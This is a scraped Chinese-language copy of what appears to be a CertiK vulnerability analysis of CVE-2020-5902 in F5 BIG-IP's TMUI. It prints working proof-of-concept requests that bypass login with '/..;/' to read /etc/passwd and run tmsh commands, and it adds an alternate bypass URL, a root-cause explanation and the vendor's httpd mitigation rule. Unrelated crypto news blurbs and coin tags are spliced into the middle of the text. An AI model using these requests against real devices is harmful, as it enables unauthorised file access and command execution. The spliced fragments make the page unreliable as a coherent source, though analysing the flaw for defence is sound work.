FILE:首發 | CertiK：深度解析F5 BIG-IP遠程代碼執行漏洞_CHTT價格

今日一早，推特以及各大技術論壇上炸開了鍋，安全圈子的人都在討論F5設備里遠程代碼執行的漏洞。很多討論的內容，大部分是在分享如何尋找目標，利用漏洞，并沒有關于對漏洞成因的分析。CertiK的安全研究員下載了存在漏洞的程序，搭建環境復現漏洞后，對漏洞的起因進行了分析，并在下文分享給大家。

F5 BIG-IP是美國 F5 公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平臺。Positive Technologies的研究人員Mikhail Klyuchnikov 發現其配置工具Traffic Management User Interface（TMUI）中存在遠程代碼執行漏洞，CVE編號為CVE-2020-5902。該漏洞CVSSv3評分為10分，攻擊者可利用該漏洞創建或刪除文件，關閉服務、執行任意的系統命令，最終獲得服務器的完全控制權。CVE具體表述請查看文章底部參考鏈接1。

受影響的BIG-IP軟件版本

[15.0.0-15.1.0.3][14.1.0-14.1.2.5][13.1.0-13.1.3.3][12.1.0-12.1.5.1][11.6.1-11.6.5.1]

漏洞利用

首發 | 歐科云鏈推出“天眼方案”推動鏈上安全系統再升級:8月28日，區塊鏈產業集團歐科云鏈宣布推出區塊鏈“天眼方案”，主要通過鏈上數據追蹤系統研發、對外技術支持、凝聚企業眾力等途徑，全面助力區塊鏈安全提升和產業平穩健康發展。

據了解，在“天眼方案”下，歐科云鏈集團將打造鏈上數據追蹤系統，通過溯源數字資產、監控非法交易等手段，全力遏制洗錢等非法行為；協助執法機關辦案，并為打造法務等區塊鏈系統提供技術支持；為聯盟鏈和基于各類業務的鏈上數據提供區塊鏈+大數據的解決方案。[2020/8/28]

讀取任意文件:

curl-k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

遠程執行tmsh命令:

curl -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

官方給出的臨時修復方案(后文會對修復進行分析)：

 

首發 | 區塊鏈技術及軟件安全實戰基地正式成立:金色財經報道，今日，中軟協區塊鏈分會、人民大學、菏澤市局相關部門聯合共建的區塊鏈技術及軟件安全實戰基地正式成立。同時聘任中軟協區塊鏈分會副秘書長宋愛陸為區塊鏈技術及軟件安全實戰基地特別專家。

區塊鏈技術及軟件安全實戰基地主要涉及領域為：非法數字貨幣交易與洗錢、區塊鏈傳銷與電信詐騙、網絡賭博、四方支付、冒用商標注冊等，聯合社會治理、城市安全、前沿技術領域的行業專家，進行警協合作。

據公開報道，近期菏澤市下屬機關剛破獲一起特大電信網絡詐騙案，打掉多個涉嫌以網貸和投資“比特幣”為名的詐騙團伙，抓獲犯罪嫌疑人83名，扣押凍結涉案資金2700萬元。[2020/7/21]

漏洞復現

在F5的官網注冊賬號之后，可以從F5的資源庫中下載存在漏洞的BIG-IP軟件。訪問參考鏈接2可以下載BIG-IP TMOS(Traffic Management Operating System, 流量管理操作系統)的虛擬機鏡像。CertiK技術團隊因為使用Vmware Fusion, 下載的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-Image fileset for VMware ESX/i Server”。

在Vmware Fusion中加載鏡像(import)：

首發 | Bithumb將推出與Bithumb Global之間的加密資產轉賬服務:Bithumb內部人士對金色財經透露，Bithumb推出和Bithumb Global之間的加密貨幣資產免手續費快速轉賬服務，每日加密貨幣資產轉賬限額為2枚BTC。此消息將于今日晚間對外公布。據悉，目前僅支持BTC和ETH資產轉賬。[2020/2/26]

加載完成之后，使用默認用戶名密碼登陸系統：

用戶名: root

密碼: default

系統初始化之后，使用”ifconfig”命令查詢虛擬機IP地址。CertiK技術團隊的BIG-IP TMUI虛擬機IP地址為”172.16.4.137”。

在瀏覽器中訪問BIG-IP TMUI登陸界面:

https://172.16.4.137/tmui/login.jsp

復現任意文件讀取:

在瀏覽器中訪問以下地址可以讀取”/etc/passwd”文件內容：

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

首發 | 螞蟻礦機S17真機圖首次曝光 采用雙筒風扇及一體機設計 ?:繼正式宣布在4月9日現貨銷售后，比特大陸即將發布的新品螞蟻礦機S17又有了新動態。據悉，螞蟻礦機S17真機圖今天在網上首次曝光。

從曝光的圖片來看，螞蟻礦機S17延續上一代產品S15的雙筒風扇設計，且采用一體機的機身設計。有業內人士認為，采用雙筒設計可有效縮短風程，礦機出入風口的溫差變小，機器性能將得到很大改善。

此前比特大陸產品負責人在接受媒體采訪時表示，新品S17較上一代產品相比，無論是在能效比還是單位體積的算力等方面，均有較大提升。[2019/4/3]

復現tmsh命令執行:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

漏洞分析

在進入漏洞分析前，先要明確一點：漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用戶登陸后本身是可以被訪問的。

IMEOS首發 EOS Go公布新增兩條復選條件 :據金色財經合作伙伴IMEOS報道：今日，EOS Go在 steemit上公布新增的兩條復選條件為：

1. 保證安全的計劃：候選節點是否在steemit上發布文章介紹該節點的安全方法和計劃，“安全方法”標準是向EOS選民展示安全最佳實踐知識和組織實施計劃的機會；

2. 立場：描述該節點分享通脹獎勵和/或向EOS代幣持有人派發股息的立場（候選節點在steemit發布）。主要闡述以下兩個問題：

該組織是否會出于任何原因向EOS令牌選民提供支付，包括BP選舉和社區建議？

該組織是否有書面的無票付款政策？如果是這樣，請提供一個鏈接。[2018/4/27]

下面的截圖顯示了登陸前和登陸后訪問以下URL的區別：

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

登陸前訪問：

被跳轉回登陸界面

輸入賬號密碼登陸管理界面之后再訪問，可執行fileRead.jsp讀取文件。

fileRead.jsp和tmshCmd.jsp雖然是在PoC中最終被利用的文件，但是他們并不是漏洞的起因。此漏洞的本質是利用Apache和后臺Java(tomcat)對URL的解析方式不同來繞過登陸限制, 在未授權的情況下，訪問后臺JSP模塊。CertiK技術人員第一次注意到此類型漏洞是在2018年Orange的BlackHat演講: “Breaking Parser Logic Take Your Path Normalization Off and Pop 0Days Out”. 這里可以查看演講稿件(參考鏈接2)。

這里我們可以理解在F5 BIG-IP的后臺服務器對收到了URL請求進行了兩次的解析，第一次是httpd(Apache), 第二次是后一層的Java(tomcat).

在URL在第一次被Apache解析時，Apache關注的是URL的前半段

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

當Apache在看見前半段是合法URL且是允許被訪問的頁面時，就把它交給了后面的第二層。Apache在這里完全把URL里面關鍵的 /..;/ 給無視了。

在URL在第二次被解析時，后面的Java(tomcat)會把/..;/理解為，向上返回一層路徑。此時,   /login.jsp/  和  /..;/ 會抵消掉。Tomcat看到的真正請求從

變成了:

再來fileRead.jsp并沒有對收到的請求進行身份驗證，后臺因此直接執行fileRead.jsp, 讀取并返回了/etc/passwd文件的內容。

根據以上的思路，其實可以找出別的利用漏洞的URL, 比如:

https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

這里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一樣，是一個不需要登陸就能訪問的頁面。但是因為要向上返回兩次，需要用兩個/..;/來抵消掉 ”/login/legal.html”。

回到開頭提到的官方給出的臨時修復方案, 修復方案的本質是在httpd的配置中添加以下規則:

include '

<LocationMatch ".*\.\.;.*">

Redirect 404 /

</LocationMatch>

這個規則的意思是，當http服務器在監測到URL中包含..;(句號句號分號)的時候，直接返回404. 這樣利用漏洞的請求就沒辦法到達后臺(第二層)了。

如何避免漏洞:

此漏洞的利用方式在網絡上公開之后，因為它的攻擊成本低廉，大批黑客都開始圖謀利用此漏洞攻擊使用F5 BIG-IP產品的系統。黑客只需要付出極小的代價就能獲得目標系統的控制權，對系統產生巨大的破壞。

俗話說：“不怕賊偷，就怕賊惦記”。即便這樣的黑客攻擊事件這次沒有發生在你身上，不代表你是安全的。因為很有可能黑客的下一個目標就是你。

而Certik的專業技術團隊會幫你徹底打消這種“賊惦記”的擔憂。CertiK專業滲透測試團隊會通過對此類事件的監測，第一時間給客戶提交漏洞預警報告，幫助客戶了解漏洞細節以及防護措施。此舉可以確保客戶的系統不受攻擊并且不會遭受財產損失。

同時作為一名安全技術人員，在新漏洞被發現的時，不僅需要知道漏洞是如何被黑客利用的，更要去探尋漏洞背后的原因，方可積累經驗，更加有能力在復雜的系統中發現隱藏的漏洞。

CertiK以及其技術人員，將永遠把安全當做信仰，與大家一同學習并一同成長。

參考鏈接

1.https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902

2.https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.0.0&container=Virtual-Edition

3.https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

Tags：FILEFILHTTPACfilecoin幣哪里能交易filecoin幣價格今日行情走勢CHTT價格spacechain

以太坊交易